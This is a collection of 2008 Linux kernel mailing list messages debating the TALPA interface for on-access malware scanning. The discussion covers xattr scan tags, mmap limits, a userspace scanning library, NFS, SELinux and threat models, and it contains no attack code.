> it, and I don't see a better way that would actually achieve the
> stated goals. If you wanted you could implement an LSM to do the
> labeling bit in a day or two, the notification in about the same
> time, which would leave the scanner as the long pole in your
> development schedule.

did you read the proposal I wrote up? it's similar to (but more flexible 
than) what you are saying

it would allow for multiple 'scanned' tags (to allow for multiple scanning 
programs). the kernel would clear the tags when the file is dirtied (not 
when it is closed, the file may not be closed for weeks after all), there 
is a mechanism to tell the scanner(s) that a file was modified (rather 
then having to scan the entire filesystem), and if the scan was not done 
yet when a file is opened the scanner(s) can be invoked at that time.

> P.S. - Library based security doesn't work.

why not? (with the appropriate kernel support)

it actually wouldn't be hard to have the kernel check the xattr, what 
would be hard is hving the kernel know when it should then invoke the 
scanner(s) and when it shouldn't. This is a policy decision that doesn't 
belong in the kernel.

David Lang

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Rik van Riel]

On Mon, 18 Aug 2008 00:58:44 +0200
Pavel Machek <pavel@suse.cz> wrote:

> Rather than modify all the applications using mmap (you can't tell if
> the other side is going to use it for shared memory... right?), we
> could simply modify all the Windows-facing applications using mmap.

If web browsers, office suites and mail clients on Windows
have certain kinds of vulnerabilities, it is safe to assume
that the same programs on Linux will have similar problems.

Can we please get rid of the idea that "Windows facing" is
where the whole malware problem is?

As for how to solve it - lets try to come up with a solution
that is reasonably high performance and can be used for more
than just malware scanning.  

Using the same code for things like HSM would be nice.
 
-- 
All rights reversed.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Casey Schaufler]

Pavel Machek wrote:
> Hi!
>
>   
>>>> And I still don't get this 'mmap problem' that I don't solve that
>>>> libmalware magically solves.  What?  don't use mmap?  I certainly hope
>>>> not.
>>>>         
>>> Don't use mmap, it is as simple as that. AFAICS mmap(MAP_SHARED) --
>>> which is basically shared memory -- is fundamentally incompatible with
>>> reliable virus scanning.
>>>
>>> ...or do you have a reasonable solution for mmap?
>>>       
>> mmap has a few different problems
>>
>> 1. intercepting reads and writes to take action at that time
>>
>> 2. the fact that two programs can use it as an inter-process communication 
>> mechanism.
>>     
>
> ...can and will use it as an IPC. So we need to modify some
> applications.
>
> Rather than modify all the applications using mmap (you can't tell if
> the other side is going to use it for shared memory... right?), we
> could simply modify all the Windows-facing applications using mmap.
>
>   
>> if you are worried about the IPC aspects, all you can do is forbid it, 
>>     
>
> Can you automatically tell if applications are using mmap for IPC?
>
> BTW in another mail you wanted to include /var/log/syslog from
> scanning. You should not be doing that if syslog is exported to
> Windows systems. Of course, you can get away with scanning syslog when
> Windows client tries to read it, which should be acceptable...
> 									Pavel
>   

There is a solution to this whole scanning thing, but I've been
reluctant to suggest it, and it will be pretty obvious why y'all
probably don't want to try it. Just to be sure the options are
out on the table, here goes.

Define an xattr, let's call it "UNSCANNED", which has as its value
a timestamp. A regular file with this attribute cannot be executed
or opened,(exec or open hangs or fails, either behavior has merit
and downsides) and it requires privilege (perhaps CAP_MAC_ADMIN)
to remove the attribute. File creation attaches the attribute. Any
open for write attaches the attribute.

Your scanner runs with privilege (say CAP_MAC_OVERRIDE) and passes
judgment on files with this attribute, removing either the file, if
it is Evil, or the attribute, if it is Good. The scanner is invoked
when a file that was open with write access is closed. This can be
done using mechanisms already discussed on this thread.

If you like, you could use a "SCANNED" attribute instead of an
"UNSCANNED" attribute, and reverse the sense of the test. The
major difference will show up on filesystems that don't support
xattrs. The implications should be obvious.

Now at the beginning I said that you wouldn't like this scheme,
and it shouldn't take a security expert to see the usability problems.
This is how an old school trusted systems junkie (like me) would do
it, and I don't see a better way that would actually achieve the
stated goals. If you wanted you could implement an LSM to do the
labeling bit in a day or two, the notification in about the same
time, which would leave the scanner as the long pole in your
development schedule.

P.S. - Library based security doesn't work.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[david]

On Mon, 18 Aug 2008, Pavel Machek wrote:

>>>> And I still don't get this 'mmap problem' that I don't solve that
>>>> libmalware magically solves.  What?  don't use mmap?  I certainly hope
>>>> not.
>>>
>>> Don't use mmap, it is as simple as that. AFAICS mmap(MAP_SHARED) --
>>> which is basically shared memory -- is fundamentally incompatible with
>>> reliable virus scanning.
>>>
>>> ...or do you have a reasonable solution for mmap?
>>
>>
>> mmap has a few different problems
>>
>> 1. intercepting reads and writes to take action at that time
>>
>> 2. the fact that two programs can use it as an inter-process communication
>> mechanism.
>
> ...can and will use it as an IPC. So we need to modify some
> applications.
>
> Rather than modify all the applications using mmap (you can't tell if
> the other side is going to use it for shared memory... right?), we
> could simply modify all the Windows-facing applications using mmap.
>
>> if you are worried about the IPC aspects, all you can do is forbid it,
>
> Can you automatically tell if applications are using mmap for IPC?

no, but can you tell at the time of the mmap command if anyone has it 
opened for writing? if you can then you can just not allow the mmap in 
thid case (policy decision by userspace, as such it can try to look at 
what other programs are accessing it via mmap to decide if it should allow 
it or not)

> BTW in another mail you wanted to include /var/log/syslog from
> scanning. You should not be doing that if syslog is exported to
> Windows systems. Of course, you can get away with scanning syslog when
> Windows client tries to read it, which should be acceptable...

I listed that as an example of what I would consider a sane policy. by 
doing the checking is a userspace library different binaries can be linked 
against different libraries by the sysadmin/distro to decide which ones 
need to do what checking. there's nothing inherent in the mechanism that 
foces the policy in any direction.

David Lang

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Pavel Machek]

Hi!

> >>And I still don't get this 'mmap problem' that I don't solve that
> >>libmalware magically solves.  What?  don't use mmap?  I certainly hope
> >>not.
> >
> >Don't use mmap, it is as simple as that. AFAICS mmap(MAP_SHARED) --
> >which is basically shared memory -- is fundamentally incompatible with
> >reliable virus scanning.
> >
> >...or do you have a reasonable solution for mmap?
> 
> 
> mmap has a few different problems
> 
> 1. intercepting reads and writes to take action at that time
> 
> 2. the fact that two programs can use it as an inter-process communication 
> mechanism.

...can and will use it as an IPC. So we need to modify some
applications.

Rather than modify all the applications using mmap (you can't tell if
the other side is going to use it for shared memory... right?), we
could simply modify all the Windows-facing applications using mmap.

> if you are worried about the IPC aspects, all you can do is forbid it, 

Can you automatically tell if applications are using mmap for IPC?

BTW in another mail you wanted to include /var/log/syslog from
scanning. You should not be doing that if syslog is exported to
Windows systems. Of course, you can get away with scanning syslog when
Windows client tries to read it, which should be acceptable...
									Pavel
-- 
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[david]

On Mon, 18 Aug 2008, Pavel Machek wrote:

> Hi!
>
>> And I still don't get this 'mmap problem' that I don't solve that
>> libmalware magically solves.  What?  don't use mmap?  I certainly hope
>> not.
>
> Don't use mmap, it is as simple as that. AFAICS mmap(MAP_SHARED) --
> which is basically shared memory -- is fundamentally incompatible with
> reliable virus scanning.
>
> ...or do you have a reasonable solution for mmap?


mmap has a few different problems

1. intercepting reads and writes to take action at that time

2. the fact that two programs can use it as an inter-process communication 
mechanism.

if you are worried about the IPC aspects, all you can do is forbid it, 
along with shared memory, pipes, network connections, etc. none of these 
provide you with a 'final result' that can be scanned, and as others have 
pointed out there are too many ways to do things that get assembled by the 
far side to try and catch all malware in them.

as for intercepting reads and writes. the approach I outlined addresses 
this by having the kernel mark thefile as dirty if any writes happen, and 
checking the file status at the time of doing the mmap instead of trying 
to do it when the file is accessed after the mmap.

David Lang

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[david]

On Sun, 17 Aug 2008, Pavel Machek wrote:

>>>> you are arguing with the wrong people here. we are not trying to define
>>>> the future of anti-virus technologies, we are trying to figure out how to
>>>> provide the hooks so that people and companies can go off and do the
>>>> research and experimentation and try different approaches.
>>>
>>> Given recent demonstrations that show how easy it apparently is to bypass
>>> blacklist base approaches, providing hooks to allow these blacklist
>>> approaches may I feel be rather futile. Focusing only on hooks for white
>>> list approaches in combination with hooks for least authority approaches
>>> like the powerbox would IMHO seem like a much more reasonable approach
>>> given the current state of things and knowledge concerning the blacklist
>>> technologies. Explicitly adding support for technology that is quickly
>>> becoming obsolete would seem like a waste of time and resources.
>>
>> we are not providing hooks for blacklists or whitelists, we are providing
>> hooks for scanning. it's up to the software that doesn the scanning to
>> implement the blacklist or whitelist.
>
> Actually, I don't think so.
>
> If we wanted to whitelist permitted binaries, approach would be
> something like "lets sign them"... and it seems IBM is working on
> something like that with TPM infrastructure.

the structure I proposed would support this as well.

your 'scanner' program would do the signature and store it somewhere and 
mark the file as being scanned.

on access the checking software would see that you have marked it as being 
scanned and can avoid the overhead of reading the entire file to check 
it's signature (or you can configure it to do the full check again)

if the file gets written to the tag would get cleared and the file would 
not be used without being blessed by your scanner again (and your scanner 
my bless it if what happened was an OS update where the new file matches a 
known signature)

not quite as straightforward as you were probably thinking (you were 
probably thinking somthing like 'store the signature and have the kernel 
check it each time the file is opened'), but this would have the option of 
being faster by skipping the signature check if the file was tagged as 
already being checked.

David Lang

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Pavel Machek]

> On Thu, 14 Aug 2008, Eric Paris wrote:
> 
> >>But Pavel is raising a good question.  In Eric's proposed threat
> >>model, he claimed the only thing that he was trying to solve was
> >>"scanning".  Just file scanning.  That implies no root privileges, but
> >>it also implied that he wasn't worried about malware running with user
> >>privileges, either.  Presumbly, that would be caught and stopped by
> >>the file scanner before the malware had a chance to run; that is the
> >>execve(2) system call would also be blocked until the executable was
> >>scanned.
> >>
> >>So if that is the threat model, then the only thing libmalware.so
> >>doesn't solve is knfsd access, and it should be evaluated on that
> >>basis.  If the threat model *does* include malware which is **not**
> >>caught by the AV scanner, and is running with user privileges, then
> >>there are a whole host of other attacks that we have to worry about.
> >>So let's be real clear, up front, what the threat model is, and avoid
> >>changing the model around to rule out solutions that don't fit the
> >>initially preconceived one.  That's how you get to the TSA
> >>confiscating water bottles in airport security lines.
> >
> >No, I'm not claiming to protect against running processes.  I'll leave
> >that for SELinux.
> >
> >I haven't seen this supposed libmalware.so so take anything I say with a
> >grain of sand.  But I take it that the solutions to the problems are
> >'don't do that.'
> 
> libmalware.so is shorthand for 'have a userspace library do the scanning 
> and handle the open'

(snip). Agreed, you explained it better than I would.
								Pavel

-- 
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Pavel Machek]

Hi!

> And I still don't get this 'mmap problem' that I don't solve that
> libmalware magically solves.  What?  don't use mmap?  I certainly hope
> not.

Don't use mmap, it is as simple as that. AFAICS mmap(MAP_SHARED) --
which is basically shared memory -- is fundamentally incompatible with
reliable virus scanning.

...or do you have a reasonable solution for mmap?
									Pavel
-- 
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Pavel Machek]

> > So if that is the threat model, then the only thing libmalware.so
> > doesn't solve is knfsd access, and it should be evaluated on that
> 
> And static binaries, and other kernel modular file I/O done on behalf of
> applications, and making a library work well which is *hard*, and
> labelling and scalability, and sharing a cache between users, and
> aggregating events across processes .. and a few other things.

Well, I believe libmalware.so works with threat model I described; of
course it will not protect statically linked sambad (unless you
statically link it with libmalware.so, which you should do). I'm not
actually advocating LD_PRELOAD. There are enough userspace nfsds
around, but yes, you can't use libmalware.so with knfsd. 

[You could do something like fuse filesystem linked with libmalware,
and make knfsd export that, and put applications you can't link with
libmalware to use that. But that's a _hack_.]

> There seem so far to be two independent requests
> 
> * Noticing a file has recently changed, possibly with information about
> changes and possibly being able to aggregate/time that for scalability.
> This has a need to be able to accurately reference which file. This is
> needed for good content indexing, and virus people want it for certain
> kinds of scanning (post write, background etc). Doing this solely as a
> final close notifier seems to be insufficient (as it may never
> close).

Agreed, we need this.

> * Being able to pause an open pending some action. Examples include HSM
> and dubiously some kinds of virus check. Problems here include the fact
> it can only meaningfully be done for first open (which is fine for HSM)
> and that the notion of an exclusive open, or of repeated clearly defined
> open/read-write/close/done sequences are actually quite foreign to Unix
> like systems.

Do HSMs really get implemented like that? I'd expect HSM to be
something like fuse or unionfs... and when it is confined to one
filesystem, you can use existing solutions.

I don't like blocking at open at all, and I don't think blocking at
open is enough for antivirus scanner.
									Pavel
-- 
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Pavel Machek]

Hi!

> >>you are arguing with the wrong people here. we are not trying to define
> >>the future of anti-virus technologies, we are trying to figure out how to
> >>provide the hooks so that people and companies can go off and do the
> >>research and experimentation and try different approaches.
> >
> >Given recent demonstrations that show how easy it apparently is to bypass
> >blacklist base approaches, providing hooks to allow these blacklist
> >approaches may I feel be rather futile. Focusing only on hooks for white
> >list approaches in combination with hooks for least authority approaches
> >like the powerbox would IMHO seem like a much more reasonable approach
> >given the current state of things and knowledge concerning the blacklist
> >technologies. Explicitly adding support for technology that is quickly
> >becoming obsolete would seem like a waste of time and resources.
> 
> we are not providing hooks for blacklists or whitelists, we are providing 
> hooks for scanning. it's up to the software that doesn the scanning to 
> implement the blacklist or whitelist.

Actually, I don't think so.

If we wanted to whitelist permitted binaries, approach would be
something like "lets sign them"... and it seems IBM is working on
something like that with TPM infrastructure.
							Pavel
-- 
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[david]

On Sun, 17 Aug 2008, Rob Meijer wrote:

> On Sun, August 17, 2008 10:58, david@lang.hm wrote:
>> On Sun, 17 Aug 2008, Peter Dolding wrote:
>>> Instead swap across to the shorter white list to process and sort.
>>> Quarantining for black list scanning so performance of machine is hit
>>> with the least ammount.  Some areas like email, p2p for people using
>>> formats that should not contain macros or executable code white list
>>> scanning there is all that is needed before either blocking or asking
>>> user if black list scanning should be preformed or the file just
>>> deleted.  Lets close the door's on these malware writers without hurt
>>> end users any more than we have to.  What is the point of running a full
>>> black list across a file the user will delete because it was not what
>>> they thought it was.
>>
>> you are arguing with the wrong people here. we are not trying to define
>> the future of anti-virus technologies, we are trying to figure out how to
>> provide the hooks so that people and companies can go off and do the
>> research and experimentation and try different approaches.
>
> Given recent demonstrations that show how easy it apparently is to bypass
> blacklist base approaches, providing hooks to allow these blacklist
> approaches may I feel be rather futile. Focusing only on hooks for white
> list approaches in combination with hooks for least authority approaches
> like the powerbox would IMHO seem like a much more reasonable approach
> given the current state of things and knowledge concerning the blacklist
> technologies. Explicitly adding support for technology that is quickly
> becoming obsolete would seem like a waste of time and resources.

we are not providing hooks for blacklists or whitelists, we are providing 
hooks for scanning. it's up to the software that doesn the scanning to 
implement the blacklist or whitelist.

David Lang

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Rob Meijer]

On Sun, August 17, 2008 10:58, david@lang.hm wrote:
> On Sun, 17 Aug 2008, Peter Dolding wrote:
>> Instead swap across to the shorter white list to process and sort.
>> Quarantining for black list scanning so performance of machine is hit
>> with the least ammount.  Some areas like email, p2p for people using
>> formats that should not contain macros or executable code white list
>> scanning there is all that is needed before either blocking or asking
>> user if black list scanning should be preformed or the file just
>> deleted.  Lets close the door's on these malware writers without hurt
>> end users any more than we have to.  What is the point of running a full
>> black list across a file the user will delete because it was not what
>> they thought it was.
>
> you are arguing with the wrong people here. we are not trying to define
> the future of anti-virus technologies, we are trying to figure out how to
> provide the hooks so that people and companies can go off and do the
> research and experimentation and try different approaches.

Given recent demonstrations that show how easy it apparently is to bypass
blacklist base approaches, providing hooks to allow these blacklist
approaches may I feel be rather futile. Focusing only on hooks for white
list approaches in combination with hooks for least authority approaches
like the powerbox would IMHO seem like a much more reasonable approach
given the current state of things and knowledge concerning the blacklist
technologies. Explicitly adding support for technology that is quickly
becoming obsolete would seem like a waste of time and resources.


Rob

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Theodore Tso]

On Fri, Aug 15, 2008 at 09:35:13AM +0100, Alan Cox wrote:
> We shouldn't need to care what people do with good interface. What
> matters is in your airport example is that at the infrastructure level
> there is a point you can choose to do scanning and we agree where.
> Whether people use this to provide a Starbucks or goons with rubber
> gloves who take away babies milk is an application layer problem.

If it's a good interface that also happens to address HSM/DMAPI
functionality, as well as a more efficient way for trackerd to work, I
agree completely.  I think you will agree the proposed TALPA interface
is a bit too virus-scanner specific, though?  Especially with explicit
talk of specialized (persistent or not) "clean/dirty/infected" bits
that the kernel would store in the inode for the benefit of the AV
scanner?  That's rather optimized for the goons-with-rubber-gloves
that-make-mothers-drink-their-own-breast-to-prove-it's-not-explosives
crowd, I think...

       	     	      	  	    		   - Ted

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Alan Cox]

> The package manager approach is interesting in that it marks 'trusted',
> and is thus permissive rather than restrictive. Maybe it would be possible
> to extend on this and simply define a set of currently unprivileged access
> as privileged for untrusted applications. That way you could allow
> untrusted software to run without risk, even if that untrusted software
> turns out to be malware. That is, it may be possible to solve the malware
> problem in a much more fundamental way here by just allowing malware to
> run without the need to know if it is malware, just by running untrusted
> software with reduced privileges.
> 

Its called SELinux and SELinux can already do this sort of stuff,
including things like "only rpm may create files you are permitted to
execute"

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Rob Meijer]

On Fri, August 15, 2008 07:38, david@lang.hm wrote:
> On Thu, 14 Aug 2008, david@lang.hm wrote:
>
>> On Thu, 14 Aug 2008, david@lang.hm wrote:
>>
>>> again, libmalware.so is not referring to any specific body of code,
>>> it's
>>> referring to the concept that the handling of open/mmap/read/etc and
>>> scanning is done via a userspace library rather then by the kernel. if
>>> everyone can agree on that concept then hashing out the details of
>>> _which_
>>> library it gets put in is a smaller detail.
>>
>> one reason to layer scanners is that you could have one that just checks
>> to
>> see if the file was deployed from a OS package, if it was (and still has
>> the
>> same hash as the package manager thinks it should have) it sets a flag
>> that
>> other scanners could look for (if they see it they can skip scanning the
>> file)
>
> actually, instead of trying to have one scanner trust the results of
> another, a better approach would be for libmalware to look for the package
> manager approval and if it finds that it could skip asking the other
> scanners to look at it.

The package manager approach is interesting in that it marks 'trusted',
and is thus permissive rather than restrictive. Maybe it would be possible
to extend on this and simply define a set of currently unprivileged access
as privileged for untrusted applications. That way you could allow
untrusted software to run without risk, even if that untrusted software
turns out to be malware. That is, it may be possible to solve the malware
problem in a much more fundamental way here by just allowing malware to
run without the need to know if it is malware, just by running untrusted
software with reduced privileges.

Rob

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Alan Cox]

> So if that is the threat model, then the only thing libmalware.so
> doesn't solve is knfsd access, and it should be evaluated on that

And static binaries, and other kernel modular file I/O done on behalf of
applications, and making a library work well which is *hard*, and
labelling and scalability, and sharing a cache between users, and
aggregating events across processes .. and a few other things.

You have a lot of shared state here.

> So let's be real clear, up front, what the threat model is, and avoid
> changing the model around to rule out solutions that don't fit the
> initially preconceived one.  That's how you get to the TSA
> confiscating water bottles in airport security lines.

I don't think this is useful. I don't actually care what the virus folks
want to implement. I would rather see useful general purpose interfaces
that are practical and make sense. I cdon't really care whether people
use the write() system call to do sensible or dumb things. What we should
care about is the write syscall.

There seem so far to be two independent requests

* Noticing a file has recently changed, possibly with information about
changes and possibly being able to aggregate/time that for scalability.
This has a need to be able to accurately reference which file. This is
needed for good content indexing, and virus people want it for certain
kinds of scanning (post write, background etc). Doing this solely as a
final close notifier seems to be insufficient (as it may never close).

* Being able to pause an open pending some action. Examples include HSM
and dubiously some kinds of virus check. Problems here include the fact
it can only meaningfully be done for first open (which is fine for HSM)
and that the notion of an exclusive open, or of repeated clearly defined
open/read-write/close/done sequences are actually quite foreign to Unix
like systems.

We shouldn't need to care what people do with good interface. What
matters is in your airport example is that at the infrastructure level
there is a point you can choose to do scanning and we agree where.
Whether people use this to provide a Starbucks or goons with rubber
gloves who take away babies milk is an application layer problem.

Alan

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[david]

On Thu, 14 Aug 2008, david@lang.hm wrote:

> On Thu, 14 Aug 2008, david@lang.hm wrote:
>
>> again, libmalware.so is not referring to any specific body of code, it's 
>> referring to the concept that the handling of open/mmap/read/etc and 
>> scanning is done via a userspace library rather then by the kernel. if 
>> everyone can agree on that concept then hashing out the details of _which_ 
>> library it gets put in is a smaller detail.
>
> one reason to layer scanners is that you could have one that just checks to 
> see if the file was deployed from a OS package, if it was (and still has the 
> same hash as the package manager thinks it should have) it sets a flag that 
> other scanners could look for (if they see it they can skip scanning the 
> file)

actually, instead of trying to have one scanner trust the results of 
another, a better approach would be for libmalware to look for the package 
manager approval and if it finds that it could skip asking the other 
scanners to look at it.

this sort of thing can easily be done in userspace libraries, but you 
definantly would _not_ want to do in a kernel-level enforcement mechanism.

David Lang

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[david]

On Thu, 14 Aug 2008, david@lang.hm wrote:

> again, libmalware.so is not referring to any specific body of code, it's 
> referring to the concept that the handling of open/mmap/read/etc and scanning 
> is done via a userspace library rather then by the kernel. if everyone can 
> agree on that concept then hashing out the details of _which_ library it gets 
> put in is a smaller detail.

one reason to layer scanners is that you could have one that just checks 
to see if the file was deployed from a OS package, if it was (and still 
has the same hash as the package manager thinks it should have) it sets a 
flag that other scanners could look for (if they see it they can skip 
scanning the file)

David Lang

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[david]

On Thu, 14 Aug 2008, Eric Paris wrote:

>> But Pavel is raising a good question.  In Eric's proposed threat
>> model, he claimed the only thing that he was trying to solve was
>> "scanning".  Just file scanning.  That implies no root privileges, but
>> it also implied that he wasn't worried about malware running with user
>> privileges, either.  Presumbly, that would be caught and stopped by
>> the file scanner before the malware had a chance to run; that is the
>> execve(2) system call would also be blocked until the executable was
>> scanned.
>>
>> So if that is the threat model, then the only thing libmalware.so
>> doesn't solve is knfsd access, and it should be evaluated on that
>> basis.  If the threat model *does* include malware which is **not**
>> caught by the AV scanner, and is running with user privileges, then
>> there are a whole host of other attacks that we have to worry about.
>> So let's be real clear, up front, what the threat model is, and avoid
>> changing the model around to rule out solutions that don't fit the
>> initially preconceived one.  That's how you get to the TSA
>> confiscating water bottles in airport security lines.
>
> No, I'm not claiming to protect against running processes.  I'll leave
> that for SELinux.
>
> I haven't seen this supposed libmalware.so so take anything I say with a
> grain of sand.  But I take it that the solutions to the problems are
> 'don't do that.'

libmalware.so is shorthand for 'have a userspace library do the scanning 
and handle the open'

> aka malware is allowed to flow freely across linux nfs servers.  Great,
> I'm sure corperate IT organizations are going to love knowing there
> isn't a darn thing they can do to protect their nfs server from being
> storage grounds other than hope they can control all of the border.

nfs isn't secure anyway so you better control the border.

it's only the kernel nfs daemon that won't use the library, so the answer 
is don't use that daemon. I beleive that there is a FUSE NFS option, or if 
nothing else, mount a filesystem with FUSE (linked against libmalware.so) 
and then export the result vi knfsd.

> And I still don't get this 'mmap problem' that I don't solve that
> libmalware magically solves.  What?  don't use mmap?  I certainly hope
> not.

libmalware can intercept the mmap call and decide to either prohibit it, 
copy the file so that the program is operating from it's own copy, or do 
something else (all dependant on policy, as defined in userspace for this 
library)

> Are we seriously considering that the right thing to do is to try to
> push malware scanning to every project on sourceforge?  At least putting
> a solution inside glibc wasn't completely insane, I just think for
> numerous reasons we've seen on list for the last 2 weeks not a better
> idea.  In any case, having an application have to make special calls to
> handle 'untrusted' data is basically like turning the keys to the castle
> over on every exploit.  No, I might not make promises about subverted
> applications, but that doesn't mean I have to just open all the doors.
> And anything that requires explicit application help is just that.  Talk
> about theater.

libmalware.so and a modified glibc are not mutually exclusive. you distros 
could offer versions of glibc that include libmalware.

again, libmalware.so is not referring to any specific body of code, it's 
referring to the concept that the handling of open/mmap/read/etc and 
scanning is done via a userspace library rather then by the kernel. if 
everyone can agree on that concept then hashing out the details of _which_ 
library it gets put in is a smaller detail.

this isn't designed to require every app that wants this protection to 
have to change it's code.

David lang

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Eric Paris]

On Thu, 2008-08-14 at 20:43 -0400, Theodore Tso wrote:
> On Thu, Aug 14, 2008 at 08:00:05PM -0400, Rik van Riel wrote:
> > > Yes, that's the part libmalware.so proposal solves. Given scary number
> > > of 0 Linux viruses in wild, it seems to solve the problem pretty well.
> > 
> > If you're trolling, you're not being very good at it.
> > 
> > Just because you cannot easily infect a Linux system from a
> > user application does not mean malware cannot do all kinds
> > of damage with user privileges.  Think of a key sniffer (using
> > the same interface that the X screensavers use) or a spam bot
> > running with user privileges.
> 
> But Pavel is raising a good question.  In Eric's proposed threat
> model, he claimed the only thing that he was trying to solve was
> "scanning".  Just file scanning.  That implies no root privileges, but
> it also implied that he wasn't worried about malware running with user
> privileges, either.  Presumbly, that would be caught and stopped by
> the file scanner before the malware had a chance to run; that is the
> execve(2) system call would also be blocked until the executable was
> scanned.
> 
> So if that is the threat model, then the only thing libmalware.so
> doesn't solve is knfsd access, and it should be evaluated on that
> basis.  If the threat model *does* include malware which is **not**
> caught by the AV scanner, and is running with user privileges, then
> there are a whole host of other attacks that we have to worry about.
> So let's be real clear, up front, what the threat model is, and avoid
> changing the model around to rule out solutions that don't fit the
> initially preconceived one.  That's how you get to the TSA
> confiscating water bottles in airport security lines.

No, I'm not claiming to protect against running processes.  I'll leave
that for SELinux.

I haven't seen this supposed libmalware.so so take anything I say with a
grain of sand.  But I take it that the solutions to the problems are
'don't do that.'

aka malware is allowed to flow freely across linux nfs servers.  Great,
I'm sure corperate IT organizations are going to love knowing there
isn't a darn thing they can do to protect their nfs server from being
storage grounds other than hope they can control all of the border.

And I still don't get this 'mmap problem' that I don't solve that
libmalware magically solves.  What?  don't use mmap?  I certainly hope
not.

Are we seriously considering that the right thing to do is to try to
push malware scanning to every project on sourceforge?  At least putting
a solution inside glibc wasn't completely insane, I just think for
numerous reasons we've seen on list for the last 2 weeks not a better
idea.  In any case, having an application have to make special calls to
handle 'untrusted' data is basically like turning the keys to the castle
over on every exploit.  No, I might not make promises about subverted
applications, but that doesn't mean I have to just open all the doors.
And anything that requires explicit application help is just that.  Talk
about theater.

-Eric

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Rik van Riel]

On Thu, 14 Aug 2008 20:43:35 -0400
Theodore Tso <tytso@mit.edu> wrote:

> But Pavel is raising a good question.  In Eric's proposed threat
> model, he claimed the only thing that he was trying to solve was
> "scanning".  Just file scanning.  That implies no root privileges, but
> it also implied that he wasn't worried about malware running with user
> privileges, either.  Presumbly, that would be caught and stopped by
> the file scanner before the malware had a chance to run;

You bring up a very good point - malware does not need to
be stored on a filesystem in order to run or cause damage.

-- 
All rights reversed.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Theodore Tso]

On Thu, Aug 14, 2008 at 08:00:05PM -0400, Rik van Riel wrote:
> > Yes, that's the part libmalware.so proposal solves. Given scary number
> > of 0 Linux viruses in wild, it seems to solve the problem pretty well.
> 
> If you're trolling, you're not being very good at it.
> 
> Just because you cannot easily infect a Linux system from a
> user application does not mean malware cannot do all kinds
> of damage with user privileges.  Think of a key sniffer (using
> the same interface that the X screensavers use) or a spam bot
> running with user privileges.

But Pavel is raising a good question.  In Eric's proposed threat
model, he claimed the only thing that he was trying to solve was
"scanning".  Just file scanning.  That implies no root privileges, but
it also implied that he wasn't worried about malware running with user
privileges, either.  Presumbly, that would be caught and stopped by
the file scanner before the malware had a chance to run; that is the
execve(2) system call would also be blocked until the executable was
scanned.

So if that is the threat model, then the only thing libmalware.so
doesn't solve is knfsd access, and it should be evaluated on that
basis.  If the threat model *does* include malware which is **not**
caught by the AV scanner, and is running with user privileges, then
there are a whole host of other attacks that we have to worry about.
So let's be real clear, up front, what the threat model is, and avoid
changing the model around to rule out solutions that don't fit the
initially preconceived one.  That's how you get to the TSA
confiscating water bottles in airport security lines.

	     	   	      	      	       - Ted

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Rik van Riel]

On Fri, 15 Aug 2008 00:39:18 +0200
Pavel Machek <pavel@suse.cz> wrote:

> > > Okay, so goal of libmalware.so is to "not allow data in the black list
> > > to pass through Linux server". Threat model is windows machines trying
> > > to copy infected files through the server. 
> > 
> > That's only part of the threat model.
> 
> Yes, that's the part libmalware.so proposal solves. Given scary number
> of 0 Linux viruses in wild, it seems to solve the problem pretty well.

If you're trolling, you're not being very good at it.

Just because you cannot easily infect a Linux system from a
user application does not mean malware cannot do all kinds
of damage with user privileges.  Think of a key sniffer (using
the same interface that the X screensavers use) or a spam bot
running with user privileges.

Firefox, OpenOffice.org and other (mostly desktop) programs are 
extremely large and complex, deal with untrusted data on a daily
basis and could be used to spread worms and get malware onto systems.

The old DOS model of "you need to infect system binaries" is not
a good description of how today's malware works.  Malware is not
there to infect a system "as much as possible", but to accomplish
actual malice.

Consequently, the number of acceptable attack vectors on a system
is pretty large and we should protect against these kinds of
programs.

It would be good to get this additional layer of protection against
malware in place, before people start developing Linux malware.

-- 
All rights reversed.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Pavel Machek]

Hi!

